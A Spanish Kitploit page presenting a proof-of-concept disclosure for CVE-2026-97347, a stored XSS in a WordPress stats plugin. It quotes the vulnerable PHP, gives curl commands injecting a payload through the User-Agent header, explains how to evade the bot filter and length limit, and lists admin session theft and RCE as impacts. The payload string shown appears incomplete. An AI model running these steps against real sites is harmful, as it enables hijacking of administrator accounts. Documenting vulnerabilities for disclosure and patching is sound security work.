Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-97347 — Prueba de concepto para CVE-2026-97347, un XSS almacenado no autenticado en el plugin de WordPress Post Views Stats Counter a través del encabezado User-Agent, con pasos de reproducción. | Kitploit
Herramientas/GitHubGitHub/jailbr3ak/cve-2026-97347
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubjailbr3ak/cve-2026-97347

CVE-2026-97347

Prueba de concepto para CVE-2026-97347, un XSS almacenado no autenticado en el plugin de WordPress Post Views Stats Counter a través del encabezado User-Agent, con pasos de reproducción.

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-97347 — XSS almacenado en Post Views Stats Counter (plugin de WordPress)

PluginPost Views Stats Counter
Versión afectada≤ 1.1.7
Clase de falloXSS almacenado no autenticado
Punto de entradaCabecera HTTP User-Agent
Destino (sink)Página de estadísticas del administrador (options-general.php?page=post_views_stats_admin_menu)
CVSS 3.17.2 Alta
EstadoSin parche en el momento de la divulgación, sin versiones parcheadas conocidas hasta ahora
InvestigadorNawaf Althurwi

El fallo

El plugin registra cada visita a la página, incluida la cabecera User-Agent del visitante, en una tabla personalizada (wp_pvs_counter). Aquí es donde captura la cabecera — sin saneamiento en ningún punto del recorrido:

// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];

La única defensa en la entrada es un filtro de bots, y no es más que una lista negra de subcadenas:

// wp_pvscounter.php
function pvs_counter_is_bot() {
    $pvs_bots = get_option('pvs_counter_value_admin_bots');
    ...
    foreach( $pvs_bots as $pvs_bot ) {
        if (stripos( $ua, $pvs_bot ) !== false) {
            $bot = 1;
            return $bot;
        }
    }
}

La lista predeterminada es bot, spider, crawler. Todo lo que no contenga esas subcadenas se almacena. Ese es el filtro completo.

En el lado de la salida, la página de administración genera un menú desplegable de "agentes de usuario registrados" e imprime el valor almacenado en bruto dentro de la etiqueta <option> — esc_attr() protege el atributo value pero la etiqueta visible es un simple echo:

// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
    <option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>

Así, una petición no autenticada con HTML en la cabecera User-Agent termina ejecutándose en el navegador del administrador la próxima vez que abra la página de estadísticas del plugin. XSS almacenado clásico, sin autenticación, sin interacción de la víctima más allá de ver su propio panel de control.

Una restricción más que conviene conocer: la columna useragent es varchar(155), por lo que el payload debe mantenerse por debajo de 155 caracteres.

Reproducción

Cualquier URL registrada sirve — la página principal /?p=1 es suficiente. Reemplaza TARGET con el host de WordPress y YOUR_PAYLOAD con lo que quieras ejecutar en la sesión del administrador:

curl -s -o /dev/null \
  -H 'User-Agent: </option></select>' \
  'http://TARGET/?p=1'

Notas sobre la forma del payload:

  • </option></select> saca el valor del marcado del desplegable — no es decoración, sin él la inyección queda atrapada dentro de la etiqueta <option>.
  • Mantén la cadena libre de bot/spider/crawler (sin distinguir mayúsculas y minúsculas) o la solicitud se filtra como bot antes de llegar a la base de datos.
  • Mantenlo por debajo de 155 caracteres en total.
  • Si quieres espacios dentro de un alert(), usa &#32; en su lugar — algunos clientes HTTP alteran los espacios en los valores de las cabeceras.

El one-liner que usé en mi laboratorio:

curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
  -H 'User-Agent: </option></select>' \
  'http://packetradar.local:8090/?p=1'

Paso 1 — almacenar el payload

Enviando el payload a través del encabezado User-Agent

Simplemente un curl normal. HTTP 200 significa que la vista se contó y el encabezado se guardó en la base de datos.

Paso 2 — activarlo

Abre Settings → Post Views Stats Counter como administrador (o simplemente actualiza si ya está abierto). El payload se renderiza como parte de la lista de widgets de estadísticas y el onerror se dispara:

Payload ejecutándose en la página de estadísticas del administrador

Impacto

  • Robo de cookies / secuestro de sesión del administrador (cambio de alcance S:C — el XSS se ejecuta en wp-admin, por lo que puede llamar a los endpoints admin-ajax y de instalación de plugins con las cookies del administrador)
  • Instalación y activación de plugins → RCE en el servidor
  • Payload persistente: se dispara para el administrador en cada visita a la página de estadísticas hasta que se elimine la fila

Video de explotación

demo

Mayor calidad si quieres desplazarte/pausar: exploit-vid.mp4

Referencias

  • Registro CVE — CVE-2026-97347

  • Registro de Wordfence Threat Intelligence — CVE-2026-97347


Probado contra la versión 1.1.7 en WordPress 6.x en un laboratorio Docker local. No autenticado, sin interacción del usuario más allá de abrir la página de estadísticas.

Descargar herramienta